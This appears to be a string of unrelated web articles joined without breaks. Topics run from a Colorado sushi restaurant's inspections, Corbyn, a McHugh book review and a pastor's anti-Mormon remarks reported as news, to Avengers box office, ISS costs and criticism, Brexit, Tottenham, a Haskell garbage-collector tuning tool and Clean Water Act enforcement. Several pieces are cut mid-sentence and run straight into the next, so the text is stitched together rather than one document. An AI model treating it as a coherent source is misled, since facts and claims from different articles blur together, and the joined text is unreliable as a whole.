'inadequate' health inspection More: Stanley Hotel restaurant improves in follow-up inspection Both locations were cited for employees eating and drinking in the kitchen, storing chemicals next to food, cooling food at too high of temperatures and using old Sriracha bottles as soap dispensers. "We have been working hard to fix the issues at both places," said Tony You, one of Sushi Zensai's managers and the son of Korean-born restaurant owners Kan and Okju You. "We are confident our next inspections will go much better." Buy Photo Sushi Zensai has opened in Old Town Fort Collins out of the old Wabi Sabi and Suehiro spot. Sushi Zensai also has a Loveland store that will continue to operate as normal. (Photo: Jacob Laxen/The Coloradoan) Many of the violations were corrected on site by inspectors. Tarnished food was thrown away immediately. Follow-up inspections are scheduled soon to make sure practices have improved. Since the start of 2016, the Loveland Sushi Zensai location has had 17 visits from Larimer County inspectors. The restaurant received three inadequate ratings, three marginal ratings and one average rating in unannounced reviews during that span The local chain debuted in Loveland in 2010. Earlier this year, the operation opened a second restaurant in Fort Collins at the site of the old Wabi Sabi and Suehiro restaurants in Old Town. The Fort Collins location's July 26 inspection was the first unannounced review since Sushi Zensai took over the space. More: The meaning behind 'inadequate' ratings at Northern Colorado restaurants Follow Jacob Laxen on Twitter and Instagram @jacoblaxen. Read or Share this story: http://noconow.co/2wmjdkfGet the biggest politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Jeremy Corbyn donned a baseball cap and inspected a train toilet today, it has emerged. The Labour leader and noted train enthusiast was paying a visit to Wabtec Rail in Doncaster to launch his plan to 'upgrade Britain's economy' by giving councils more to support British firms bidding for public sector contracts. He was photographed leaning on the doorframe of the disabled access loo, wearing a baseball cap and eye goggles. It's thought the baseball cap was protective. (Image: PA) Mr Corbyn says Brexit will allow a future Labour government to favour UK firms bidding for state spending. At the moment Brussels' rules mean major public contracts have to open to firms in all EU countries. (Image: PA) (Image: PA) The Labour leader says leaving the EU offers the chance to use the £200billion spends each year in private sector on supporting British firms and suppliers. Firms applying for public sector contracts would have to abide by a code of conduct, which would include agreeing to a pay ratio of no more than 20:1 between the highest and lowest paid. It is, of course, not the first time Jeremy Corbyn and trains have made it into the same story. Most recently, in September, the Labour leader was found sitting in a Mirror reporter's seat on a train to the party's annual conference.The post-apocalyptic adventure story, in the American imagination, at least, is a wish disguised as a fear. Feigning horror at the notion of civilization razed to its foundations, we can indulge in the fantasy of remaking it from the ground up. Finally, we'll get it right because we Americans -- despite not knowing about stuff like, say, Libya -- abound in native common sense and gumption. And that's all we really need, right? "After the Apocalypse," a new short story collection by Maureen McHugh, amounts to a merciless dismantling of this delusion. The first story, "The Naturalist," is a zombie yarn (the only one in the book), set in the ruins of Cleveland, a fenced-off no-man's land where convicts are impounded in the unspoken hope that the zombies will finish them off -- or vice versa. Whittaker, the inevitable self-appointed leader of the cons, likes to make speeches about "how they were all more free here in the preserve than they'd ever been in a society that had no place for them, about how there used to be spaces for men with big appetites like the Wild West and Alaska -- and how all that was gone now." Advertisement: Cahill, the protagonist of the story, doesn't have much use for such notions; he will discover another, and far more appalling, interest in his new surroundings. But Whittaker speaks to the kernel of yearning in all the varied popular depictions of the post-apocalypse: that it will give us back our frontier, that domain of lawlessness and possibility that the historian Frederick Turner famously idealized as the keystone of our national identity: "American social development has been continually beginning over again on the frontier. This perennial rebirth, this fluidity of American life, this expansion westward with its new opportunities, its continuous touch with the simplicity of primitive society, furnish the forces dominating American character." Having run out of space, and constructed an overwhelmingly complex, sophisticated and often decadent society, we can only make our way back to the frontier (where men were men, etc.) by wiping the slate clean in the place where we already live and starting over. Zombies serve as non-human humanoids who can be slaughtered, without a twinge of conscience, as a demonstration of our mettle -- a role formerly filled, in less enlightened times, by Native Americans. (Not all post-apocalyptic crypto-westerns feature zombies, of course. Some have cannibals, like Cormac McCarthy's "The Road.") McHugh's stories, however, are more interested in what the fall of civilization might actually feel like. The cataclysms in "After the Apocalypse" range from flu epidemics to dirty bombs to the exhaustion of fossil fuel reserves to water shortages to good old-fashioned economic depression. In "The Effect of Centrifugal Forces," an illness similar to mad cow disease has contaminated the food supply, so that everyone who ate chicken nuggets during some undetermined time period could be harboring a ticking bomb in their brains. Of course, not everyone eats chicken nuggets, and one of the persistent themes in this book is that when the world as we know it collapses, certain groups are far more likely to end up crushed in the rubble. In the title story, which reads like a deliberate inversion of "The Road," a mother and daughter travel rough through a landscape of pillaged houses and ransacked convenience stores, seeking a vaguely rumored refuge in the north. When they take on a male companion (the mother feeling obliged to provide him with sex in exchange for protection), he recalls meeting a couple of guys, the kind "who, you know, manage a copy store or a fast-food joint or something, thinking that now that civilization is falling apart they can be like the hero in one of their video games." That doesn't happen here, for anyone, which makes this story more tough-minded than even McCarthy's notoriously bleak novel. Hardship does sometimes bring out the best in people, but if you really look, really pay attention to how we live right now, you'll see that more often it does the opposite. Although McHugh's fiction is often set in the future, and features speculative motifs, her approach to her characters is rigorously and exquisitely realistic, refusing to indulge video-game fantasies of heroism and transcendence. An artist struggling to get by in water-starved New Mexico feels the possibility of simple generosity and trust rubbed away, little by little. A runaway bride risks her life in a medical trial to get the money for the honeymoon she never had, only to realize how little it means in the larger, lousy scheme of her life. This acute psychological realism applied to the apparatus of wish-fulfilling adventure stories makes for a heady combination. The stories in "After the Apocalypse" will catch many readers off-guard; they're suspenseful, but they never quite go where you expect them to. The end of the world as we know it will never be the same again.Sharron Angle pastor: As a Mormon, Harry Reid is cult member Sun Coverage Sun politics coverage Sharron Angle’s pastor made incendiary statements about Sen. Harry Reid’s Mormon faith, accusing Reid’s religion of being a cult with “kooky” practices and having “hit squads” that “kill Mormons that go against them,” according to an article in a Reno weekly newspaper published today. Pastor John Reed of Sonrise Church in Reno, which Angle stated was her church in her official legislative bio, told the Reno News and Review’s Dennis Myers that as Senate majority leader Reid answers to Salt Lake City, where the Church of Jesus Christ of Latter-day Saints is headquartered. Angle spokesman Jarrod Agen issued a statement today saying the Republican candidate has not been a member of Reed's church "for over six years." "She strongly disavows any disparaging remarks against Mormons. As a Christian, Sharron shares the same values with other active Christians, including those of the Latter Day Saints community," Agen wrote in the statement. "Her former pastor in no way speaks for Sharron." But in July 2008, as a candidate for state Senate, Angle included "music ministry, Sonrise Church" on a candidate questionnaire published by the Reno Gazette-Journal, listing it as one of three ways in which she was involved in the community. In the same survey, she also listed herself as a member of the Fellowship Community Church, also in Reno. In an interview with the Sun, Reed said that Angle, a Southern Baptist, had been a member of his church for "over a dozen years" and for the past year has had "dual membership" in the two congregations. She attended his church as recently as a couple of months ago, he said. He attributed her recent absence to the busy campaign. Reed confirmed that he was quoted accurately in the article and stood by his statements about the Mormon religion. The pastor said he was surprised that Angle, whom he described as "the perfect candidate," was attempting to distance herself from him and his statements about the LDS church. Reid spokesman Kelly Steele called the statements “disturbing and hateful expressions of extreme religious bigotry.” In the story that initiated the controversy, Myers wrote, “Pastor Reed, of course, does not speak for Angle any more than Barack Obama is responsible for Jeremiah Wright’s pronouncements,” referring to the controversial Chicago pastor whose utterances became endless fodder for cable news during the 2008 presidential campaign. But, Myers wrote, it raises questions about whether Angle and her church believe a line should be drawn between church and state. The remarks could hurt Angle with Nevada Mormons, who as a group are more aligned politically with Angle's conservative Republicanism than Reid's Democratic positions. The Mormon vote in Nevada is significant, making up a quarter of the turnout in the 2008 Republican presidential caucus. Angle has described her run against Reid in Biblical terms, and said she does not believe the country’s founding father’s wanted a wall between church and state. In referring to Mormonism, Reed, Angle’s pastor, said: “His religion’s a cult. The Christian community — all the Christians, theologians and scholars, all recognize that, that Mormonism is a cult. I have books in my library on cults, and it lists Mormonism right there with all these bizarre cults. Well, there must be a reason. I mean, here a member of a cult is one of the most powerful people in the United States. Doesn’t that alarm you? And his allegiance is to Salt Lake City. Something is up with that. Something’s weird. But nobody touches that — Harry Reid’s allegiance is to Salt Lake City. The Mormon church is rich, powerful, they do illegal things. They do secretive things. They’ve got all this money. They own American businesses. There’s weirdness going on there. Churches are not multi-millionaire organizations like the Mormon church. "You know, there’s some weirdness with that, but nobody questions it, nobody asks one question to Harry Reid and says, 'Tell us about your faith. What does a Mormon believe?’ Ask him about the holy garments that he wears that protect him from evil. Isn’t that kooky? Ask him about getting his body parts anointed by oil. Isn’t that kooky? Ask him about when he goes to the temple and he gets baptized for dead people. Isn’t that kooky? Ask him about the hit squad of the Mormon church and why they need people to kill Mormons that go against them. Isn’t that controlling? Ask him how they shun people, then they get their family members to disown them and divorce them if they dare leave the Mormon church. Isn’t that cultish? I mean, I could go on and on. "The Mormon church is a cult, and Harry Reid is a powerful person in a cult, and nobody even questions it.” Myers, a veteran Northern Nevada journalist, said in an e-mail that he recorded his conversation with Reed and may post the audio soon on his blog. Despite the Senate majority leader's prominent position on the national stage, he has an uneasy, sometimes contentious relationship with the conservative base, including members of his church. A scheduled appearance by Reid at a Mormon chapel earlier this year had to be canceled after members expressed anger over him potentially using the venue to gain votes. In the 2008 Republican presidential caucus, Mitt Romney, also a Mormon, captured almost the entire LDS vote to coast to an easy victory here, according to exit polls conducted for the Associated Press and television networks. Mormons made up a quarter of the GOP turnout.Illustration done for a personal fantasy project. ------------------------------------------------------------------------------------------ I n this world, dragons don't mindlessly burn down villages and terrorize humans. Even though numerous people died in the past encountering these mighty beasts, most attacks were not unprovoked... Dragons actively hunting humans for food was a rare sight. As years passed and people improved their weapons, tools and means of defending their towns and cities, encounters between the two became less and less frequent. Before long dragons were barely a threat to human communities. Instead, they increasingly became an actively hunted species forcing them to retreat into wild and remote areas. Still their numbers dwindled rapidly. When dragons became a rarity and were thought to go extinct, laws were enacted to protect these majestic creatures and hunting became a punishable crime. However, this also caused dragon body parts to become highly valuable. Here we see a group of poachers who have hunted down a dragon and its two pups, luring them with a massive fire beacon. The dragons are killed and then harvested for body parts to be sold in illegal trade and on black markets. ------------------------------------------------------------------------------------------ Follow meMarvel’s The Avengers on Thursday set a new domestic speed record, reaching the $400M box office threshold in 14 days. Worldwide, it has passed Toy Story 3 and Pirates Of The Caribbean: Dead Man’s Chest to become the #6 highest-grossing film of all time and the highest grossing Disney release ever. Internationally it is the #9 highest-grossing film of all time. The Avengers’ cumulative performance to date: International box office $668.7M and Domestic $402M for Global $1,070.7M. Additional highlights to date: · Fastest film to reach $350M (10 days), $300M (9 days), $250M (6 days), $200M (3 days), $150M (3 days) and $100M (2 days) at domestic box office. · Disney’s fifth release to cross the billion dollar global box office threshold. · Biggest domestic opening of all time ($207.4M). · Biggest domestic second weekend of all time ($103M). · Highest-grossing domestic film of 2012, passing The Hunger Games in just 12 days of release, and is now the 12th highest grossing domestic release of all-time. · Highest domestic Saturday tally ($69.5M). · Highest domestic Sunday tally ($57M). · Second-highest domestic single-day tally ($80.8M). Related: ‘Battleship’ Weak In ‘Avengers’ U.S. Wake: ‘The Dictator’ Even Weaker Domestic Start; Sacha Could Lose To ‘What To Expect’Actions of the new administration are like “a dog on ice chasing a marble,” Dana Perino told an audience Feb. 3 at the 2017 Cattle Industry Convention & NCBA Trade Show in Nashville, Tenn. “You have to expect the unexpected.” Perino spoke to many of the more than 9,000 cattlemen and women at the event – a record number of attendees for any cattle industry convention – at Friday’s general session. The previous convention record was in Nashville in 2014, at just under 8,300. Perino was the press secretary for President George W. Bush for seven years and is now a panelist on The Five, which airs daily on the Fox News Channel. Her exposure to the Washington scene brought an insider’s knowledge as keynote speaker at the general session. Perino said the recent presidential election was unique. The odds of getting an inside straight are 254 to 1, she told the audience, and those are the kind of odds Trump beat to win the presidency. “It was a hard hand to play, and he played it perfectly,” she said. While Hillary Clinton won the popular vote, she didn’t win states she needed, including Pennsylvania, Michigan and Wisconsin. For two years she didn’t visit Wisconsin, Perino said, and she should have listened to her volunteers in the state, instead of her statisticians, who said the state was safe. However, she said something to keep in mind is that the Republican party has lost six out of the last seven popular votes. “That does cast a certain shadow on the mandate.” Additionally, she said that when a President doesn’t have the popular vote, it is harder to govern. “There is a wave of protest all across (the U.S.). It is not fleeting, in my opinion. I do not believe it is all paid for by George Soros. I do believe that this is some sort of a movement that is starting to have some impact.” She also pointed out there is currently a “fog” as a result of President Trump trying to do too many things at once. “The White House will eventually understand that message discipline is important because there is only so much that we can all absorb.” Government doesn’t work just like a business, she said, adding that she hoped “things would settle down for them.” Donald Trump “thrives on chaos,” according to Perino. At some point, however, things will get calmer “or the chaos will take over.” Perino was also confident that the nomination of Neil Gorsuch to the country’s highest court would be successful. “Mark my words,” she said, “he will get confirmed to the Supreme Court.” In regards to the Democratic party, she said they have a “terrible hand to play” and that they’ve decided to try to block everything. And, despite new leadership problems, Perino did suggest that the Democrats have “some silver linings on their clouds.” For example, she said Republican woman in the suburbs have shifted a bit, a sign for a Democratic opening. Additionally, she said Republicans are doing better in counties that are shrinking, while Democrats are doing better in counties that are growing. Message to rural America While the agriculture industry continues to hold its breath on issues like trade and immigration, Perino said she does believe President Trump will let his cabinet do their jobs, including his pick for Secretary of Agriculture Sonny Perdue. “I think rural America will be pleased, but I do think these issues of trade and immigration are so complex that it’s really important for you work as an association together to make sure that you get in front of the Administration as much as possible. That you are visible, that they hear you and that they hear your story.” She suggested giving away the upper hand in trade to China through destruction of the TPP was not a good idea, but “he (Trump) can change his mind.” She told the audience, “You are very powerful. You just have to stick together, but most importantly, you have to tell your story.”New in Los Gatos: The Toll House Hotel in Los Gatos is unveiling its new restaurant. Formerly known as Three Degrees, the aptly named Verge — as in “on the verge of town” — has been quietly serving guests, with a formal grand opening planned for late April. For executive chef Albert Nguyen-Phuoc (Dolce Hayes, Doubletree, Montgomery hotel) it’s a chance to showcase his contemporary cuisine, with dishes aimed at both Toll House guests and local foodies. He’s of Vietnamese heritage and trained at Le Cordon Bleu in Paris, so expect some fusion dishes. And duos are big: octopus and pork belly; beef cheek and bone marrow; braised lamb shank and lamb loin
the project will be €9 billion.[47] Just the costs for the Columbus Laboratory tops more than €1.4 billion (about $2.1 billion), including the money spent on the ground control infrastructure known as Columbus Control Center to operate it. The total development costs for ATV amount to approximately €1.35 billion[48] and considering that each Ariane 5 launch costs around €150 million, each ATV launch will incur considerable costs as well. The ISS has been far more expensive than originally anticipated. The ESA estimates the overall cost from the start of the project in the early 1990s to the prospective end in 2017 to be in the region of €100 billion ($157 billion or £65.3 billion).[44] JAXA [ edit ] The development of the Japanese Experiment Module, JAXA's main contribution to the ISS, has cost about 325 billion yen (about $2.8 billion).[49] In the year 2005, JAXA allocated about 40 billion yen (about 350 million USD) to the ISS program.[50] The annual running costs for Japanese Experiment Module will total around $350 to 400 million. In addition JAXA has committed itself to develop and launch the H-II Transfer Vehicle, for which development costs total nearly $1 billion. In total, over the 24 year lifespan of the ISS program, JAXA will contribute well over $10 billion to the ISS program. Roskosmos [ edit ] A considerable part of the Russian Space Agency's budget is used for the ISS. Since 1998 there have been over two dozen Soyuz and Progress flights, the primary crew and cargo transporters since 2003. The question of how much Russia spends on the station (measured in USD), is, however, not easy to answer. The two modules currently in orbit are derivatives of the Mir program and therefore development costs are much lower than for other modules. In addition, the exchange rate between ruble and USD is not adequately giving a real comparison to what the costs for Russia really are.[citation needed] CSA [ edit ] Canada, whose three main contributions to the ISS are the Canadarm2, the mobile base system, and Dextre (the Special Purpose Dexterous Manipulator, also known as the Canada Hand), estimates that through the last 20 years it has contributed about C$1.4 billion to the ISS. Canada has continued to be a vital member of ISS through the past ten years and continues to play a major role in the ISS.[51] Criticism [ edit ] The International Space Station has been the target of varied criticism over the years. Critics contend that the time and money spent on the ISS could be better spent on other projects—whether they be robotic spacecraft missions, space exploration, investigations of problems here on Earth, or just tax savings.[52] Some critics, like Robert L. Park, argue that very little scientific research was convincingly planned for the ISS in the first place.[53] They also argue that the primary feature of a space-based laboratory is its microgravity environment, which can usually be studied more cheaply with a "vomit comet".[54] One of the most ambitious ISS projects to date, the Centrifuge Accommodations Module, has been cancelled due to the prohibitive costs NASA faces in simply completing the ISS. As a result, the research done on the ISS is generally limited to experiments which do not require any specialized apparatus. For example, in the first half of 2007, ISS research dealt primarily with human biological responses to being in space, covering topics like kidney stones, circadian rhythm, and the effects of cosmic rays on the nervous system.[55][56][57] Other critics have attacked the ISS on some technical design grounds: Jeff Foust argued that the ISS requires too much maintenance, especially by risky, expensive EVAs.[58] The magazine The American Enterprise reports, for instance, that ISS astronauts "now spend 85 percent of their time on construction and maintenance" alone. The Astronomical Society of the Pacific has mentioned that its orbit is rather highly inclined, which makes Russian launches cheaper, but US launches more expensive.[59] This was intended as a design point, to encourage Russian involvement with the ISS—and Russian involvement saved the project from abandonment in the wake of the Space Shuttle Columbia disaster—but the choice may have increased the costs of completing the ISS substantially.[ citation needed ] However, it may not be true since additional delta-v required from launching Kennedy space center (28.45 deg) to ISS station (51.6 deg of Russia) is ~34.5 m/s ( 460 m/scos(28.45)cos(51.6) - 460cos(51.6) )which is very small (~0.3% velocity or ~1% payload reduction) compare to 9.5 to 10 km/s required to reach to orbit. However if launching from 51 deg to 28 deg could cost as much as ~3 km/s or >60% payload reduction (assuming direction correction at same orbital altitude, 7.67 km/s 2*sin((51.6-28.8)/2) ). This is due to the fact that delta-v adjustment happens at different respective instantaneous velocities ( 0 m/s on ground for USA but 7.67 km/s for Russia). In response to some of these criticisms, advocates of manned space exploration say that criticism of the ISS project is short-sighted, and that manned space research and exploration have produced billions of dollars' worth of tangible benefits to people on Earth. Jerome Schnee estimated that the indirect economic return from spin-offs of human space exploration has been many times the initial public investment.[60] A review of the claims by the Federation of American Scientists argued that NASA's rate of return from spin-offs is actually "astoundingly bad", except for aeronautics work that has led to aircraft sales.[61] Critics also say that NASA is often casually credited with "spin-offs" (such as Velcro and portable computers) that were developed independently for other reasons.[62] NASA maintains a list of spin-offs from the construction of the ISS, as well as from work performed on the ISS.[63][64] However, NASA's official list is much narrower and more arcane than dramatic narratives of billions of dollars of spin-offs.[citation needed] It is therefore debatable whether the ISS, as distinct from the wider space program, will be a major contributor to society. Some advocates argue that apart from its scientific value, it is an important example of international cooperation.[65] Others claim that the ISS is an asset that, if properly leveraged, could allow more economical manned Lunar and Mars missions.[66] Either way, advocates[who?] argue that it misses the point to expect a hard financial return from the ISS; rather, it is intended as part of a general expansion of spaceflight capabilities.[citation needed] End of Mission [ edit ] In 2009, NASA had stated plans to end the ISS program and deorbit the ISS in early 2016.[67] This was in accordance with the then-President Bush's policy. President Obama announced new policy in 2010, and extended the program through 2020.[68] In December 2018, a U.S. Senate bill passed, announcing the program to be extended by 10 years to 2030.[69] All five ISS-participating space agencies had indicated in 2010 their desire to see the platform continue flying beyond 2015, but Europe struggled to agree on funding arrangements within its member states, until agreement was reached in March 2011.[70][71][72] Russia and ISS partners in a 2011 statement said that work is being done to make sure other modules can be used beyond 2015. The first Russian module was launched in 1998, and the 30th anniversary of that module's launch has been chosen as a target date for certification of all components of the ISS.[70] According to a 2009 report, RKK Energia is considering methods to remove from the station some modules of the Russian Orbital Segment when the end of mission is reached and use them as a basis for a new station, known as the Orbital Piloted Assembly and Experiment Complex (OPSEK). The modules under consideration for removal from the current ISS include the Multipurpose Laboratory Module (MLM), currently scheduled to be launched mid-2018, along with other Russian modules which are currently planned to be attached to the MLM. Neither the MLM nor any additional modules attached to it would have reached the end of their useful lives by 2020. The report presents a statement from an unnamed Russian engineer who believes that, based on the experience from Mir, a thirty-year life should be possible, except for micrometeorite damage, because the Russian modules have been built with on-orbit refurbishment in mind.[73] According to the Outer Space Treaty the United States is legally responsible for all modules it has launched.[74] In ISS planning, NASA examined options including returning the station to Earth via shuttle missions (deemed too expensive, as the station(USOS) is not designed for disassembly and this would require at least 27 shuttle missions[75]), natural orbital decay with random reentry similar to Skylab, boosting the station to a higher altitude (which would simply delay reentry) and a controlled targeted de-orbit to a remote ocean area.[76] The technical feasibility of a controlled targeted deorbit into a remote ocean was found to be possible only with Russia's assistance.[76] At the time ISS was launched, the Russian Space Agency had experience from de-orbiting the Salyut 4, 5, 6, and 7 space stations, while NASA's first intentional controlled de-orbit of a satellite (the Compton Gamma Ray Observatory) would not occur for another two years.[77] NASA currently has no spacecraft capable of de-orbiting the ISS at the time of decommissioning.[78] Skylab, the only space station built and launched entirely by the US, decayed from orbit slowly over 5 years, and no attempt was made to de-orbit the station using a deorbital burn. Remains of Skylab hit populated areas of Esperance, Western Australia.[79] without injuries or loss of life. While the entire USOS cannot be reused and will be discarded, some Russian modules will be reused. Nauka, the Node module, two science power platforms and Rassvet, launched between 2010 and 2015 and joined to the ROS will be separated to form the next Russian space station OPSEK.[80]It’s been a grimly entertaining August, watching government ministers arguing about whether a transition is needed and, if so, what form they would prefer it to take. The international trade secretary, Liam Fox, appears to have bowed to the inevitable and realised that some kind of transition is the only way to make Brexit work. But the price of Fox’s assent appears to be a type of deal that would in fact be impossible to agree with the European Union. In the Sunday Telegraph, Fox and the chancellor, Philip Hammond, wrote: “We are both clear that during this period the UK will be outside the single market and outside the customs union.” Tory Brexit policy is chaotic. The fightback must begin at once \| David Miliband Read more But it is the EU that will decide the nature of the transition Britain will get. Europe’s Brexit strategy is underpinned by two principles: protect the EU’s legal order from Britain’s attempts to cherry-pick; and maximise the leverage that article 50’s two-year deadline provides. If the Brexit talks collapse and no deal is struck, trade and investment in Britain would take a big hit – and while the EU would be hurt by this, it would incur much smaller losses than we would. And there is not much time to negotiate: the Brexit agreement must be struck by October 2018 because the European council, the UK parliament and the European parliament will need six months to ratify it. These facts are the source of the EU’s bargaining power. Since it holds the aces, the EU will insist that any transition deal is an off-the-shelf one. There is simply not enough time to negotiate both a made-to-measure transition and the outline of the final deal in the time remaining. If Britain wanted a very simple agreement that kept trade tariff-free but lacked any of the single-market rules that tackle important non-tariff barriers to trade, a transition wouldn’t be needed: the whole thing could be wrapped up quickly. But any agreement comprehensive enough to be economically tolerable for Britain will take much longer to negotiate. And during the transition period itself, the 27 will insist that all EU rights and obligations continue. If it disagrees, Britain will need to go over the cliff-edge and try to negotiate a trade deal from outside the single market. The decision to leave the customs union means that Ireland, France, Belgium and the Netherlands will have to make big investments in IT systems and lorry parks at their ports to cope with the post-Brexit surge of customs declarations and shipment checks. These are costs that the UK is imposing on them. Why would those countries agree to an interim customs agreement that requires them to scramble to invest in their ports, simply to reduce costs at the EU border for Britain and to allow Liam Fox to negotiate trade deals with countries outside Europe? Whatever their motives, Fox and Hammond’s words are demonstrably too detached from reality to be taken seriously It is also obvious that Britain will not be ready to leave the customs union or the single market in March 2019. The National Audit Office warned the government last month that its new customs IT system might not be ready in time. It was commissioned before the referendum, so was not designed with Brexit in mind, and any deal with the EU will probably require customs procedures that its designers did not anticipate. The government will have to build lorry parks in English ports and in Northern Ireland so customs checks can be made. These are not being built because it is not yet clear how big they will have to be; and that will not be clear until a customs agreement is struck with the EU. Neither are cabinet ministers any closer to agreeing the migration regime that will replace free movement. A new framework will require legislation to determine which EU citizens will be allowed to work. The UK does not have a register of EU citizens who are currently in the UK, and a registration scheme will require new IT systems and staff. Such new bureaucracies usually take longer to set up than ministers hope. Given the political and practical obstacles to Fox and Hammond’s transition plan, why did they publish it in the first place? There are three possibilities. First, the phrase “during this period” provides some wriggle room. The UK might seek a transition with a few years of full membership of the single market and customs union, and then a period when free movement of workers ends and the new customs arrangements kick in. (Given the EU’s cherry-picking rule, this is unlikely to happen). Second, the government might try to retain single-market membership and just give it another name. Rather than the European court of justice, a new UK-EU court might adjudicate disputes during the transition. EU citizens might have to fill out more comprehensive registration forms, while still being allowed to work. Third, we know that ministers’ words have become devalued – remember Boris Johnson saying that the EU can “go whistle” for the money the UK owes? Cabinet members are trying to rebuild party unity after a month of open disagreement, and are laying down fudge as the foundation for compromise. Whatever their motives, Fox and Hammond’s words are demonstrably too detached from reality to be taken seriously. • John Springford is director of research at the Centre for European Reform in LondonGet the biggest football stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Tim Sherwood’s hopes of remaining as Tottenham manager are fading – with Louis Van Gaal waiting in the wings to replace him. It is believed that chairman Daniel Levy, a long-term supporter of Sherwood, has not been impressed by elements of his managerial style. And Sherwood may instead be offered a role working under Holland boss Van Gaal, who has publicly admitted his desire to manage in the Premier League next season. Spurs won five of their first six League matches under Sherwood but were thrashed 5-1 at home by Manchester City on Wednesday, damaging their Champions League hopes. Sherwood has been confident and abrasive in his managerial style – which has upset some players and left Levy wondering about his long-term suitability for the role. The Spurs boss has also boldly gambled on young midfielder Nabil Bentaleb but the French youngster struggled against City and it was felt in the dressing-room that Sherwood should have considered more experienced options. (Image: Laurence Griffiths - FIFA) Holland boss Van Gaal has not hidden his wish to move to the Premier League and admitted: “Am I still in contact with Spurs? There will come a moment that I can talk about that. “Look at my CV. I have won a trophy every season during my club career. “I am a winner and craving a trophy. This is why I am sick of being a national coach. I only see the players eight times a year. I am not enjoying the job of national coach at all. “After the World Cup I want to coach a big club again and win trophies. Otherwise I will retire.’’ Van Gaal held talks with Levy in December – as revealed by Sunday Mirror Sport – but would not combine the job with his Dutch role and so will only join after the World Cup.Inspired by a comment by Simon Marlow on Stack Overflow, about the time and space tradeoffs we make with garbage collection, particularly with a generational GCs, I wrote a small program, ghc-gc-tune, to traverse the garbage collector variable space, to see the relationship between settings and program performance. Given a program, it will show you an (optionally interactive) graph of how -A and -H flags to the garbage collector affect performance. Previously I’ve had good success exploring multi-variable spaces for optimizations with GAs in Haskell, to find strictness flags and LLVM flag settings, so I was keen to see what the GC space looked like. In this initial GC search, however, I don’t use a GA, instead just measuring time as two variables change over the entire space. Here’s an example for the binary-trees language shootout benchmark, where the GHC default settings are known to be suboptimal (the benchmark disallows changes to the default runtime GC settings): The flags we use are: -A, the size of the initial thread allocation area for the youngest generation. -H, the suggested overall heap size ghc-gc-tune, in the style of ghc-core, wraps a compiled Haskell program, and runs it with varying values of -A and -H, recording various statistics about the program. The output can be rendered interactively, or to png, pdf or svg. It would augment use of heap profiling, ThreadScope and ghc-core for analyzing and improving Haskell program behavior. In this case, ghc-gc-tune recommends the somewhat surprising -A64k -H32M, and binary-trees runs in 1.12s at N=16, while for the default GC settings it completes in 1.56s. So ghc-gc-tune found settings that improved performance by 28%. Nice. I already knew that a large -A setting helped this program (corresponding to the broad plateau for large -A values in the above graph), however, I was surprised to see the best result was with a very small -A setting, and medium sized -H setting, resulting in only 5% of time spent in GC, and 36M total allocated — the narrow valley on the far side of the graph. Very interesting! And is that my L2 cache in the square at x= 2M, y = 2M? Sure looks like it. Here’s a video of the same graph in the tool’s interactive mode (without any -t flag): Currently, the sampling is vary simplistic, with a fixed set of logscale values taken. A clever sampling algorithm would measure the heap used in the default case, and compute a range based on that, possibly with cutoffs for very pessimistic GC flags. Another example: pidigits, with what I would consider far more typical behavior. Though again, a surprisingly small -A setting does well, and there’s an interesting pathological result with extremely large -H and very small -A settings. You can get ghc-gc-tune from Hackage, via cabal, and note that it requires gnuplot installed. Let me know if you find it useful, and I welcome patches! Future work will be to graph the Z axis as space, instead of time (so we can find GC settings that minimize the footprint), as well as adding other variables (such as parallel GC settings, and varying the number of generations). Advertisements“This is a huge deal,” James M. Tierney, the New York State assistant commissioner for water resources, said of the new constraints. “There are whole watersheds that feed into New York’s drinking water supply that are, as of now, unprotected.” The court rulings causing these problems focused on language in the Clean Water Act that limited it to “the discharge of pollutants into the navigable waters” of the United States. For decades, “navigable waters” was broadly interpreted by regulators to include many large wetlands and streams that connected to major rivers. But the two decisions suggested that waterways that are entirely within one state, creeks that sometimes go dry, and lakes unconnected to larger water systems may not be “navigable waters” and are therefore not covered by the act — even though pollution from such waterways can make its way into sources of drinking water. Some argue that such decisions help limit overreaching regulatory efforts. “There is no doubt in my mind that when Congress passed the Clean Water Act in 1972 they intended it to have broad regulatory reach, but they did not intend it to be unlimited,” said Don Parrish, the American Farm Bureau Federation’s senior director of regulatory relations, who has lobbied on Clean Water issues. But for E.P.A. and state regulators, the decisions have created widespread uncertainty. The court did not define which waterways are regulated, and judicial districts have interpreted the court’s decisions differently. As regulators have struggled to guess how various courts will rule, some E.P.A. lawyers have established unwritten internal guidelines to avoid cases in which proving jurisdiction is too difficult, according to interviews with more than two dozen current and former E.P.A. officials. Photo The decisions “reduce E.P.A.’s ability to do what the law intends — to protect water quality, the environment and public health,” wrote Peter S. Silva, the E.P.A.’s assistant administrator for the Office of Water, in response to questions. About 117 million Americans get their drinking water from sources fed by waters that are vulnerable to exclusion from the Clean Water Act, according to E.P.A. reports. Advertisement Continue reading the main story The E.P.A. said in a statement that it did not automatically concede that any significant water body was outside the authority of the Clean Water Act. “Jurisdictional determinations must be made on a case-by-case basis,” the agency wrote. Officials added that they believed that even many streams that go dry for long periods were within the act’s jurisdiction. But midlevel E.P.A. officials said that internal studies indicated that as many as 45 percent of major polluters might be either outside regulatory reach or in areas where proving jurisdiction is overwhelmingly difficult. And even in situations in which regulators believe they still have jurisdiction, companies have delayed cases for years by arguing that the ambiguity precludes prosecution. In some instances, regulators have simply dropped enforcement actions. In the last two years, some members of Congress have tried to limit the impact of the court decisions by introducing legislation known as the Clean Water Restoration Act. It has been approved by a Senate committee but not yet introduced this session in the House. The legislation tries to resolve these problems by, in part, removing the word “navigable” from the law and restoring regulators’ authority over all waters that were regulated before the Supreme Court decisions. But a broad coalition of industries has often successfully lobbied to prevent the full Congress from voting on such proposals by telling farmers and small-business owners that the new legislation would permit the government to regulate rain puddles and small ponds and layer new regulations on how they dispose of waste. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. “The game plan is to emphasize the scary possibilities,” said one member of the Waters Advocacy Coalition, which has fought the legislation and is supported by the American Farm Bureau Federation, the National Association of Home Builders and other groups representing industries affected by the Clean Water Act. “If you can get Glenn Beck 